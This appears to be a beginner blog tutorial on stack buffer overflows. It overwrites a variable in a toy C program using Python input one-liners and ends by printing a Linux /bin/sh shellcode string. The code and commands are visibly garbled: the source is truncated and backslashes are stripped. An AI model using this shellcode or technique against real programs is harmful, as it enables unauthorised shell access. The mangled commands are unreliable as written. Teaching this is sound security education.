An introduction to Stack Buffer Overflows

"); } if (check == 0xdeadbeef) { printf("Variable was modified !"); } return 0;}You can see a variable called check is created.

Next, a 40-char buffer is created (39 char + NUL terminator ).

As it is a stack-based buffer overflow (memory is managed by CPU, no memory allocation is made from our side, i.


no malloc()), the stack is looking like this at the moment.

The fgets function reads a line from the specified stream (stdin) and stores it into the string pointed to (buf), with 45 being the maximum number of characters to be read (including the final null-character).

As you can see it is obvious that buffer size is smaller than the maximum of fgets .

Our goal is now to exploit the vulnerability, and modify the check variable to 0xdeadbeef.

ExploitationWe are going to use Python for the exploitation.

When the program will write your input to the buffer, there will be a modification of the next variable in the stack (the one under the buffer, check) if it is long enough.

With Python, you can use the -c option to pass the program as a string.

The goal is to write data to fill the buffer and overwrite check variable at the same time.

Let’s try with some random input first.

python -c 'print("A"*5)' | .

/buf[buf]: AAAAA[check]: 0x06050403As the buffer is not filled, this is the intended working of the program, nothing will happen.

The check value is the same, and buffer contains only 5 “A”.

Now, we can try to add more data.

python -c 'print("A" * 50)' | .

/buf [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[check]: 0x41414141We did modify check value (to x41414141 , as heximal code for A is 0x41).

Unfortunately, we have to modify the value to what we want.

In python, you can input some hexadecimal with x in front of it.

The xx characters at the end of [buf]are just here to represent the hex returned as ascii from the program.

python -c 'print("A" * 40 + "xdexadxbexef")' | .

/buf[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxx[check]: 0xefbeaddeOn a little endian system, values are represented by the least significant byte first.

So in memory, the 32-bit integer 0xdeadbeefwould be represented as 0xefbeadde.

As most of computers today are working with little-endian, we have to reverse the order of our hex code.

python -c 'print("A" * 40 + "xefxbexadxde")' | .

/buf[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxx[check]: 0xdeadbeefIt is working .We have successfully modified the check value to 0xdeadbeef.

Fortunately, compilers are not that naive, they include some protection against this.

If you want to try this on your computer, you can disable protection with the-fno-stack-protector option with gcc when compiling.

Closing WordsNow you know how to exploit basic binary vulnerabilities like this, I’d like to introduce shellcode.

Shellcode is a string representing an executable binary code.

If successfully executed, the shellcode will provide the attacker access to the machine (a shell — /bin/shfor example) with the same privileges as the targeted process.

That is essentially why it is necessary to protect your programs against this flaw.

You can take a look at a basic shellcode targeting Linux below.

x6ax0bx58x99x52x66x68x2dx70x89xe1x52x6ax68x68x2fx62x61x73x68x2fx62x69x6ex89xe3x52x51x53x89xe1xcdx80I hope you learned something today.

Feel free to follow me and to leave a comment if you have any question/suggestion.

.. More details

Leave a Reply